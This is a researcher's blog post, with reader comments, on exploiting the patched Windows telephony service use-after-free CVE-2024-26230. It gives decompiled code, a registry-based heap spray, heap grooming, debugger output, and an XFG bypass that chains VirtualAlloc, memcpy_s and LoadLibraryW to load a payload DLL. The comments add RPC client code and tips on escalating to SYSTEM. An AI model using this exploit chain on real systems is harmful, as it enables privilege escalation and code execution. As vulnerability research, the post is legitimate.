Author: k0shl of Cyber Kunlun
Summary
In April 2024, Microsoft patched a use-after-free vulnerability in the telephony service, which I reported and assigned to CVE-2024-26230. I have already completed exploitation, employing an interesting trick to bypass XFG mitigation on Windows 11.
Moving forward, in my personal blog posts regarding my vulnerability and exploitation findings, I aim not only to introduce the exploit stage but also to share my thought process on how I completed the exploitation step by step. In this blog post, I will delve into the technique behind the trick and the exploitation of CVE-2024-26230.
Root Cause
The telephony service is a RPC based service which is not running by default, but it could be actived by invoking StartServiceW API with normal user privilege.
There are only three functions in telephony RPC server interface.
long ClientAttach(
[out][context_handle] void** arg_0,
[in]long arg_1,
[out]long *arg_2,
[in][string] wchar_t* arg_3,
[in][string] wchar_t* arg_4);
void ClientRequest(
[in][context_handle] void* arg_0,
[in][out] /* [DBG] FC_CVARRAY */[size_is(arg_2)][length_is(, *arg_3)]char *arg_1/*[] CONFORMANT_ARRAY*/,
[in]long arg_2,
[in][out]long *arg_3);
void ClientDetach(
[in][out][context_handle] void** arg_0);
}
It's easy to understand that the ClientAttach method could create a context handle, the ClientRequest method could process requests using the specified context handle, and the ClientDetach method could release the context handle.
In fact, there is a global variable named "gaFuncs," which serves as a router variable to dispatch to specific dispatch functions within the ClientRequest method. The dispatch function it routes to depends on a value that could be controlled by an attacker.
Within the dispatch functions, numerous objects can be processed. These objects are created by the function NewObject, which inserts them into a global handle table named "ghHandleTable." Each object holds a distinct magic value. When the telephony service references an object, it invokes the function ReferenceObject to compare the magic value and retrieve it from the handle table.
The vulnerability exists with objects that possess the magic value "GOLD" which can be created by the function "GetUIDllName".
void __fastcall GetUIDllName(__int64 a1, int *a2, unsigned int a3, __int64 a4, _DWORD *a5)
{
[...]
if ( object )
{
*object = 0x474F4C44; // =====> [a]
v38 = *(_QWORD *)(contexthandle + 184);
*((_QWORD *)object + 10) = v38;
if ( v38 )
*(_QWORD *)(v38 + 72) = object;
*(_QWORD *)(contexthandle + 184) = object; // =======> [b]
a2[8] = object[22];
}
[...]
}
As the code above, service stores the magic value 0x474F4C44(GOLD) into the object[a] and inserts object into the context handle object[b].Typically, most objects are stored within the context handle object, which is initialized in the ClientAttach function. When the service references an object, it checks whether the object is owned by the specified context handle object, as demonstrated in the following code:
v28 = ReferenceObject(v27, a3, 0x494C4343); // reference the object
if ( v28
&& (TRACELogPrint(262146i64, "LineProlog: ReferenceObject returned ptCallClient %p", v28),
*((_QWORD *)v28 + 1) == context_handle_object) // check whether the object belong to context handle object )
{
However, when the "GOLD" object is freed, it doesn't check whether the object is owned by the context handle. Therefore, I can exploit this by creating two context handles: one that holds the "GOLD" object and another to invoke the dispatch function "FreeDiagInstance" to free the "GOLD" object. Consequently, the "GOLD" object is freed while the original context handle object still holds the "GOLD" object pointer.
__int64 __fastcall FreeDialogInstance(unsigned __int64 a1, _DWORD *a2)
{
[...]
v4 = (_DWORD *)ReferenceObject(a1, (unsigned int)a2[2], 0x474F4C44i64);
[...]
if ( *v4 == 0x474F4C44 ) // only check if the magic value is equal to 0x474f4c44, it doesn't check if the object belong to context handle object
[...]
// free the object
}
This results in the original context handle object holding a dangling pointer. Consequently, the dispatch function "TUISPIDLLCallback" utilizes this dangling pointer, leading to a use-after-free vulnerability. As a result, the telephony service crashes when attempting to reference a virtual function.
__int64 __fastcall TUISPIDLLCallback(__int64 a1, _DWORD *a2, int a3, __int64 a4, _DWORD *a5)
{
[...]
v7 = (unsigned int)controlledbuffer[2];
v8 = 0i64;
v9 = controlledbuffer + 4;
v10 = controlledbuffer + 5;
if ( (unsigned int)IsBadSizeOffset(a3, 0, controlledbuffer[5], controlledbuffer[4], 4) )
goto LABEL_30;
switch ( controlledbuffer[3] )
{
[...]
case 3:
for ( freedbuffer = *(_QWORD *)(context_handle_object + 0xB8); freedbuffer; freedbuffer = *(_QWORD *)(freedbuffer + 80) ) // ===========> context handle object holds the dangling pointer at offset 0xB8
{
if ( controlledbuffer[2] == *(_DWORD *)(freedbuffer + 16) ) // compare the value
{
v8 = *(__int64 (__fastcall **)(__int64, _QWORD, __int64, _QWORD))(freedbuffer + 32); // reference the virtual function within dangling pointer
goto LABEL_27;
}
}
break;
[...]
if ( v8 )
{
result = v8(v7, (unsigned int)controlledbuffer[3], a4 + *v9, *v10); // ====> trigger UaF
[...]
}
Note that the controllable buffer in the code above refers to the input buffer of the RPC client, where all content can be controlled by the attacker. This ultimately leads to a crash.
0:001> R
rax=0000000000000000 rbx=0000000000000000 rcx=3064c68a8d720000
rdx=0000000000080006 rsi=0000000000000000 rdi=00000000474f4c44
rip=00007ffcb4b4955c rsp=000000ec0f9bee80 rbp=0000000000000000
r8=000000ec0f9bea30 r9=000000ec0f9bee90 r10=ffffffffffffffff
r11=000000ec0f9be9e8 r12=0000000000000000 r13=00000203df002b00
r14=00000203df002b00 r15=000000ec0f9bf238
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
tapisrv!FreeDialogInstance+0x7c:
00007ffc`b4b4955c 393e cmp dword ptr [rsi],edi ds:00000000`00000000=????????
0:001> K
# Child-SP RetAddr Call Site
00 000000ec`0f9bee80 00007ffc`b4b47295 tapisrv!FreeDialogInstance+0x7c
01 000000ec`0f9bf1e0 00007ffc`b4b4c8bc tapisrv!CleanUpClient+0x451
02 000000ec`0f9bf2a0 00007ffc`d9b85809 tapisrv!PCONTEXT_HANDLE_TYPE_rundown+0x9c
03 000000ec`0f9bf2e0 00007ffc`d9b840f6 RPCRT4!NDRSRundownContextHandle+0x21
04 000000ec`0f9bf330 00007ffc`d9bcb935 RPCRT4!DestroyContextHandlesForGuard+0xbe
05 000000ec`0f9bf370 00007ffc`d9bcb8b4 RPCRT4!OSF_ASSOCIATION::~OSF_ASSOCIATION+0x5d
06 000000ec`0f9bf3a0 00007ffc`d9bcade4 RPCRT4!OSF_ASSOCIATION::`vector deleting destructor'+0x14
07 000000ec`0f9bf3d0 00007ffc`d9bcad27 RPCRT4!OSF_ASSOCIATION::RemoveConnection+0x80
08 000000ec`0f9bf400 00007ffc`d9b8704e RPCRT4!OSF_SCONNECTION::FreeObject+0x17
09 000000ec`0f9bf430 00007ffc`d9b861ea RPCRT4!REFERENCED_OBJECT::RemoveReference+0x7e
0a 000000ec`0f9bf510 00007ffc`d9b97f5c RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x18e
0b 000000ec`0f9bf610 00007ffc`d9b97e22 RPCRT4!CO_ConnectionThreadPoolCallback+0xbc
0c 000000ec`0f9bf690 00007ffc`d8828f51 RPCRT4!CO_NmpThreadPoolCallback+0x42
0d 000000ec`0f9bf6d0 00007ffc`db34aa58 KERNELBASE!BasepTpIoCallback+0x51
0e 000000ec`0f9bf720 00007ffc`db348d03 ntdll!TppIopExecuteCallback+0x198
Find Primitive
When I discovered this vulnerability, I quickly realized that it could be exploited because I can control the timing of both releasing and using object.
However, the first challenge of exploitation is that I need an exploit primitive. The Ring 3 world is different from the Ring 0 world. In kernel mode, I could use various objects as primitives, even if they are different types. But in user mode, I can only use objects within the same process. This means that I can't exploit the vulnerability if there isn't a suitable object in the target process.
So, I need to ensure whether there is a suitable object in the telephony service. There is a small tip that I don't even need an 'object.' What I want is just a memory allocation that I can control both size and content.
After reverse engineering, I discovered an interesting primitive. There is a dispatch function named "TRequestMakeCall" that opens the registry key of the telephony service and allocates memory to store key values.
if ( !RegOpenCurrentUser(0xF003Fu, &phkResult) ) // ==========> [a]
{
if ( !RegOpenKeyExW(
phkResult,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities",
0,
0x20019u,
&hKey) )
{
GetPriorityList(hKey, L"RequestMakeCall"); // ==========> [b]
RegCloseKey(hKey);
}
///////////////////////////////////////////
if ( RegQueryValueExW(hKey, lpValueName, 0i64, &Type, 0i64, &cbData) || !cbData ) // =============> [c]
{
[...]
}
else
{
v6 = HeapAlloc(ghTapisrvHeap, 8u, cbData + 2); // ===========> [d]
v7 = (wchar_t *)v6;
if ( v6 )
{
*(_WORD *)v6 = 34;
LODWORD(v6) = RegQueryValueExW(hKey, lpValueName, 0i64, &Type, (LPBYTE)v6 + 2, &cbData); // ==============> [e]
[...]
}
In the dispatch function "TRequestMakeCall," it first opens the HKCU root key [a] and invokes the GetPriorityList function to obtain the "RequestMakeCall" key value. After checking the key privilege, it's determined that this key can be fully controlled by the current user, meaning I could modify the key value. In the function "GetPriorityList," it first retrieves the type and size of the key, then allocates a heap to store the key value. This implies that if I can control the key value, I can also control both the heap size and the content of the heap.
The default type of "RequestMakeCall" is REG_SZ, but since the current user has full control privilege over it, I can delete the default value and create a REG_BINARY type key value. This allows me to set both the size and content to arbitrary values, making it a useful primitive.
Heap Fengshui
After ensure there is a suitable primitive, I think it's time to perform heap feng shui now. Because I can control the timing of allocating, releasing, and using the object, it's easy to come up with a layout.
- First, I allocate enough "GOLD" objects using the "GetUIDllName" function.
- Then, I free some of them to create some holes using the "FreeDiagInstance" function.
- Next, I allocate a worker "GOLD" object to trigger the use-after-free vulnerability.
- After that, I free the worker object with the vulnerability. This time, the worker context handle object still holds the dangling pointer of the worker object.
- Following this, I delete the "RequestMakeCall" key value and create a REG_BINARY type key with controlled content. Then, I allocate some key value heaps to ensure they occupy the hole left by the worker object.
XFG mitigation
After the final step of heap fengshui in the previous section, the controlled key value heap occupies the target hole, and when I invoke "TUISPIDLLCallback" function to trigger the "use" step, as the pseudo code above, controlled buffer is the input buffer of RPC interface, if I set it to 3, it will compare a magic value with the worker object, then obtain a virtual function address from the worker object, so that I only need to set this two value in the content of registry key value.
RegDeleteKeyValueW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", L"RequestMakeCall");
RegOpenKeyW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", &hkey);
BYTE lpbuffer[0x5e] = { 0 };
*(PDWORD)((ULONG_PTR)lpbuffer + 0xE) = (DWORD)0x40000018;
*(PULONG_PTR)((ULONG_PTR)lpbuffer + 0x1E) = (ULONG_PTR)jmpaddr; // fake pointer
RegSetValueExW(hkey, L"RequestMakeCall", 0, REG_BINARY, lpbuffer, 0x5E);
It seems that there is only one step left to complete the exploitation. I can control the address of the virtual function, which means I can control the RIP register. I can use ROP if there isn't XFG mitigation. However, XFG will limit the RIP register from jumping to a ROP gadget address, causing an INT29 exception when the control flow check fails.
Last step, the truely challenge
Just like the exploitation I introduced in my previous blog post—the exploitation of CNG key isolation—when I can control the RIP, it's useful to invoke LoadLibrary to load the payload DLL. However, I quickly encountered some challenges this time when attempting to set the virtual address to the LoadLibrary address.
Let's review the virtual function call in "TUISPIDLLCallback" dispatch function:
result = v8((unsigned int)controlledbuffer[2], (unsigned int)controlledbuffer[3], buffer + *(controlledbuffer + 4), *(controlledbuffer + 5)); // ====> trigger UaF
- The first parameter is a DWORD type value which is obtained from a RPC input buffer which could be controlled by client.
- The second parameter is also obtained from a RPC input buffer, but it must be a const value, it's equal to the case number I mentioned in previous section, it must be 3.
- The third parameter is a pointer. The buffer is the controlled buffer address with an added offset of 0x3C. Additionally, this pointer will have an offset added to it, which is obtained from the controlled RPC input buffer.
- The fourth parameter is a DWORD type that obtained from a controlled RPC input buffer.
It's evident that in order to jump to LoadLibrary to load the payload DLL, the first parameter should be a pointer pointing to the payload DLL path. However, in this situation, it's a DWORD type value.
So I can't use LoadLibrary directly to load payload DLL, I need to find out another way to complete the exploitation. At this time, I want to find a indirectly function to load payload DLL, because the third parameter is a pointer and the content of it I could control, I need a function has the following code:
func(a1, a2, a3, ...){
[...]
path = a3;
LoadLibarary(path);
[...]
}
The limitation in this scenario is that I can't control which DLL is loaded in the RPC server. Therefore, I can only use existing DLLs in the RPC server, which takes some time for me to find an eligible function. But it's failed to find an eligible function.
It seems like we're back to the beginning. I'm reviewing some APIs in MSDN again, hoping to find another scenario.
The trick
After some time, I remember an interesting API -- VirtualAlloc.
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
The first parameter of VirtualAlloc is lpAddress, which can be set to a specified value, and the process will allocate memory at this address.
I notice that I can allocate a 32-bits address with this function!
The second parameter is a constant value representing the buffer size to allocate. However, it's not necessary for my purpose. The last parameter is a controlled DWORD value, which I can set to the value for flProtect. I could set it to PAGE_EXECUTE_READWRITE (0x40).
But a new challenge arises with the third parameter.
The third parameter is flAllocationType, and in my scenario, it's a pointer. This implies that the low 32 bits of the pointer should be the flAllocationType. I need to set it to MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000). Although I can control the offset, I don't know the address of the pointer, so I can't set the low 32 bits of the pointer to a specified value. I tried allocating the heap with some random value, but all of it failed.
Let's review the "use" code again:
result = v8((unsigned int)controlledbuffer[2], (unsigned int)controlledbuffer[3], buffer + *(controlledbuffer + 4), *(controlledbuffer + 5)); // ====> trigger UaF
if(!result){
[...]
}
*controlledbuffer = result;
return result;
The virtual function return value will be stored into the controlled buffer, which will then be returned to the client. This means that if I allocate memory using a function such as MIDL_user_allocate, it will return a 64-bit address, but only the low 32 bits of the address will be returned to the client. This will be a useful information disclosure.
But I still can't predict the low 32-bits value of the third parameter when invoking VirtualAlloc. So, I tried increasing the allocate buffer size to find out if there is any regularity. Actually, the maximum size of the RPC client could be set is larger than 0x40000000. When I set the allocate size to 0x40000000, I found an interesting situation.
I find out that when the allocate size is set to 0x40000000, the low 32-bits address of the pointer increases linearly, which makes it predictable.
That means, for example, if the leaked low 32-bits return 0xbd700000, I know that if I set the input buffer size to 0x40000000, the next controlled buffer's low 32-bits will be 0xfd800000. Additionally, the offset of the third parameter couldn't be larger than the input buffer size. Therefore, I need to ensure that the low 32-bits address is larger than 0xc0000000. In this way, the low 32-bits of the third parameter could be a DWORD value larger than 0x100000000 after the address is added with the offset. It's possible to set the third parameter to 0x3000 (MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)).
As for now, I make heap fengshui and control the all content of the heap hole with the controllable registry key value, and for bypassing XFG mitigation, I need to first leak the low 32-bits address by setting the MIDL_user_allocate function address in key value, and then set the VirtualAlloc function address in key value, obviously, it doesn't end if I allocate 32-bits address succeed, I need to invoke "TUISPIDLLCallback" multiple times to complete bypassing XFG mitigation. The good news is that I could control the timing of "use", so all I need to do is free the registry key value heap, set the new key value with the target function address, allocate a new key value heap, and use it again.
tapisrv!TUISPIDLLCallback+0x1cc:
00007fff`7c27fecc ff154ee80000 call qword ptr [tapisrv!_guard_xfg_dispatch_icall_fptr (00007fff`7c28e720)] ds:00007fff`7c28e720={ntdll!LdrpDispatchUserCallTarget (00007fff`afcded40)}
0:007> u rax
KERNEL32!VirtualAllocStub:
00007fff`aeae3bf0 48ff2551110700 jmp qword ptr [KERNEL32!_imp_VirtualAlloc (00007fff`aeb54d48)]
00007fff`aeae3bf7 cc int 3
00007fff`aeae3bf8 cc int 3
00007fff`aeae3bf9 cc int 3
00007fff`aeae3bfa cc int 3
00007fff`aeae3bfb cc int 3
00007fff`aeae3bfc cc int 3
00007fff`aeae3bfd cc int 3
0:007> r r8d
r8d=3000
0:007> r r9d
r9d=40
0:007> r rcx
rcx=00000000ba000000
0:007> r rdx
rdx=0000000000000003
According to the debugging information, we can see that every parameter satisfies the request. After invoking the VirtualAlloc function, we have successfully allocated a 32-bit address.
0:007> p
tapisrv!TUISPIDLLCallback+0x1d2:
00007fff`7c27fed2 85c0 test eax,eax
0:007> dq ba000000
00000000`ba000000 00000000`00000000 00000000`00000000
00000000`ba000010 00000000`00000000 00000000`00000000
00000000`ba000020 00000000`00000000 00000000`00000000
00000000`ba000030 00000000`00000000 00000000`00000000
00000000`ba000040 00000000`00000000 00000000`00000000
This means I have successfully controlled the first parameter as a pointer. The next step is to copy the payload DLL path into the 32-bit address. However, I can't use the memcpy function because the second parameter is a constant value, which must be 3. Instead, I decide to use the memcpy_s function, where the second parameter represents the copy length and the third parameter is the source address. I can only copy 3 bytes at a time, but I can invoke it multiple times to complete the path copying.
0:009> dc ba000000
00000000`ba000000 003a0043 0055005c 00650073 00730072 C.:.\.U.s.e.r.s.
00000000`ba000010 0070005c 006e0077 0041005c 00700070 \.p.w.n.\.A.p.p.
00000000`ba000020 00610044 00610074 0052005c 0061006f D.a.t.a.\.R.o.a.
00000000`ba000030 0069006d 0067006e 0066005c 006b0061 m.i.n.g.\.f.a.k.
00000000`ba000040 00640065 006c006c 0064002e 006c006c e.d.l.l...d.l.l.
There is one step last is invoking LoadLibrary to load payload DLL.
0:009> u
KERNELBASE!LoadLibraryW:
00007fff`ad1f2480 4533c0 xor r8d,r8d
00007fff`ad1f2483 33d2 xor edx,edx
00007fff`ad1f2485 e9e642faff jmp KERNELBASE!LoadLibraryExW (00007fff`ad196770)
00007fff`ad1f248a cc int 3
00007fff`ad1f248b cc int 3
00007fff`ad1f248c cc int 3
00007fff`ad1f248d cc int 3
00007fff`ad1f248e cc int 3
0:009> dc rcx
00000000`ba000000 003a0043 0055005c 00650073 00730072 C.:.\.U.s.e.r.s.
00000000`ba000010 0070005c 006e0077 0041005c 00700070 \.p.w.n.\.A.p.p.
00000000`ba000020 00610044 00610074 0052005c 0061006f D.a.t.a.\.R.o.a.
00000000`ba000030 0069006d 0067006e 0066005c 006b0061 m.i.n.g.\.f.a.k.
00000000`ba000040 00640065 006c006c 0064002e 006c006c e.d.l.l...d.l.l.
00000000`ba000050 00000000 00000000 00000000 00000000 ................
00000000`ba000060 00000000 00000000 00000000 00000000 ................
00000000`ba000070 00000000 00000000 00000000 00000000 ................
0:009> k
# Child-SP RetAddr Call Site
00 000000ab`ac97eac8 00007fff`7c27fed2 KERNELBASE!LoadLibraryW
01 000000ab`ac97ead0 00007fff`7c27817a tapisrv!TUISPIDLLCallback+0x1d2
02 000000ab`ac97eb60 00007fff`afb57f13 tapisrv!ClientRequest+0xba
前排占座,学习
牛逼,还得是居士
強!!!!
石总牛逼!
牛! Dirty pipe那篇也贼牛。学了很多
Hi, I have question for RPC client.
When you created POC(RPC client), did you use functions from RPC Server(ncalrpc, "tapsrvlpc") directly?
Or used TAPI 2.2 API?
@dodaeche I used the orignal RPC API(rpcStringBindingCompose) directly.
@k0shl 师傅想请教一下,我用这段代码连接后,
auto status = RpcStringBindingComposeA(
(RPC_CSTR)"2f5f6520-ca46-1067-b319-00dd010662da",
// ncacn_np
(RPC_CSTR)"ncalrpc",
NULL, //(RPC_CSTR)"LAPTOP-12LQLKI4",
(RPC_CSTR)"tapsrvlpc",
NULL,
&StringBinding
);
status = RpcBindingFromStringBindingA(StringBinding, &BindingHandle);
并且生成如下的IDL:
[
uuid(2f5f6520-ca46-1067-b319-00dd010662da),
version(1.0)
]
interface tapsrv {
typedef [context_handle] void* PCONTEXT_HANDLE_TYPE;
long ClientAttach(
[out][context_handle] PCONTEXT_HANDLE_TYPE* pphContext,
[in] long lProcessID,
[out]long * phAsyncEventsEvent,
[in, string] const wchar_t* pszDomainUser,
[in, string] wchar_t* pszMachine
);
void ClientRequest(
[in] PCONTEXT_HANDLE_TYPE phContext,
[in, out, length_is(*plUsedSize), size_is(lNeededSize)] unsigned char* pBuffer,
[in] long lNeededSize,
[in, out] long* plUsedSize
);
void ClientDetach(
[i
@Wa1nut4 啊这,好像超了,就是我这样调用RPC
RpcTryExcept{
void* context = NULL;
long AsyncEventsEvent{ 0 };
DWORD id = GetCurrentProcessId();
if (ClientAttach(&context, (long)id,&AsyncEventsEvent,L"asus", (wchar_t*)L"LAPTOP-12LQLKI4")) {
std::cout << "ClientAttach error
";
}
}
RpcExcept(1) {
printf("RPC ExceptiCAPSAX64DRVon %d
", RpcExceptionCode());
}
但一直报1764找到目标方法的错误,发现好像是在第二次调用NdrClientCall3的时候崩的,但还是没找到原因,不知道师傅有什么好的思路可以给点启发,万分感谢
@Wa1nut4 你的bindinghandle是在client定义的吗,你需要单独创建一个acf文件,把bindinghandle定义在acf文件中,之后调RpcBindingFromStringBindingA的时候把string绑定到acf文件中定义的bindinghandle上
@k0shl 原来如此,刚刚改了之后就可以,谢谢师傅的解答
Can you share the flags used in the midl compiler?
could you share crash poc?
到最后一步,LoadLibraryW的时候,为什么最后调用LdrLoadDll的时候我这边返回了0xC0000022错误码,似乎是权限不够的问题,但不是在tapisrv.dll里面加载的吗,应该不存在权限问题?求师傅指点一下
@Wa1nut4 找到原因了,要用本地账号登录才行,😂
tapisrv的权限是Network Service,请教一下你是怎么提权到SYSTEM的
@test 可以看下有impersonate权限,可以尝试用各种potato完成最后一步提权
I have an AccesDenied when the hack.dll is being loaded, I have a local account logged user, could you give me some advice?
@Ricardonarvaja This is because the account of tapisrv is NetworkService, it is not the default account of hack.dll, you can create hack.dll, then set the DACL to null by SetNameSecurityInfoW API
thanks, but now it loads but telephony service crashes when complete loading the dll
I solved and works perfect thanks.